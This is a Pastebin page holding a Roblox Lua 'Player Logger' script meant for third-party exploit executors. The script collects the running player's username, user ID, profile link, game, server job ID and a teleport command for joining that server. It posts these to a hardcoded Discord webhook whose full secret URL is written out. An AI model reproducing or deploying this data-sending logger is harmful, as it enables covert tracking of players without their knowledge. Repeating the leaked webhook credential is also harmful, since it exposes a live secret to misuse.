Kenken_I

Untitled

Apr 26th, 2025
20
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.80 KB | None | 0 0
  1. --// Webhook URL
  2. local webhookUrl = "https://discord.com/api/webhooks/1365824468244500592/UyWhmOxqA5FbLXedULx1J5-d6ikCraDVfyWCBCkgcUmPVfB02oNeVx_sHrFZAs5U3t5p"
  3.  
  4. --// Services
  5. local HttpService = game:GetService("HttpService")
  6.  
  7. --// Player Info
  8. local LocalPlayer = game:GetService("Players").LocalPlayer
  9. local username = LocalPlayer.Name
  10. local displayName = LocalPlayer.DisplayName
  11. local userId = LocalPlayer.UserId
  12. local jobId = game.JobId
  13. local gameInfo = game:GetService("MarketplaceService"):GetProductInfo(game.PlaceId)
  14. local gameName = gameInfo.Name
  15. local profileUrl = "https://www.roblox.com/users/" .. userId .. "/profile"
  16. local playerCount = #game:GetService("Players"):GetPlayers()
  17.  
  18. --// Join Script
  19. local joinScript = 'game:GetService("TeleportService"):TeleportToPlaceInstance(' .. game.PlaceId .. ', "' .. jobId .. '")'
  20.  
  21. --// Webhook Embed
  22. local data = {
  23. ["username"] = "Player Logger",
  24. ["avatar_url"] = "https://tr.rbxcdn.com/8e2b86546e689f79d339dcf7fc10989d/150/150/AvatarHeadshot/Png",
  25. ["embeds"] = {{
  26. ["title"] = username .. " is in a game!",
  27. ["color"] = tonumber(0x00FFFF),
  28. ["fields"] = {
  29. {
  30. ["name"] = "Username",
  31. ["value"] = username .. " ([" .. displayName .. "](" .. profileUrl .. "))"
  32. },
  33. {
  34. ["name"] = "Game",
  35. ["value"] = "**" .. gameName .. "**",
  36. ["inline"] = false
  37. },
  38. {
  39. ["name"] = "Player Count",
  40. ["value"] = playerCount .. " players in server",
  41. ["inline"] = true
  42. },
  43. {
  44. ["name"] = "Job ID",
  45. ["value"] = "```" .. jobId .. "```",
  46. ["inline"] = false
  47. },
  48. {
  49. ["name"] = "Join Script",
  50. ["value"] = "```lua\n" .. joinScript .. "\n```"
  51. },
  52. {
  53. ["name"] = "Executed At",
  54. ["value"] = "```" .. os.date("%Y-%m-%d %H:%M:%S") .. "```",
  55. ["inline"] = false
  56. }
  57. }
  58. }},
  59. ["components"] = {{
  60. ["type"] = 1,
  61. ["components"] = {{
  62. ["type"] = 2,
  63. ["style"] = 5,
  64. ["label"] = "Open Join Script",
  65. ["url"] = "https://pastebin.com/raw/YOUR_PASTE_ID" -- Optional pastebin
  66. }}
  67. }}
  68. }
  69.  
  70. --// Send Webhook
  71. local headers = {["Content-Type"] = "application/json"}
  72. local body = HttpService:JSONEncode(data)
  73. local req = http_request or request or (syn and syn.request) or (fluxus and fluxus.request)
  74.  
  75. if req then
  76. req({
  77. Url = webhookUrl,
  78. Method = "POST",
  79. Headers = headers,
  80. Body = body
  81. })
  82. else
  83. warn("Executor doesn't support HTTP requests.")
  84. end
Advertisement
Add Comment
Please, Sign In to add comment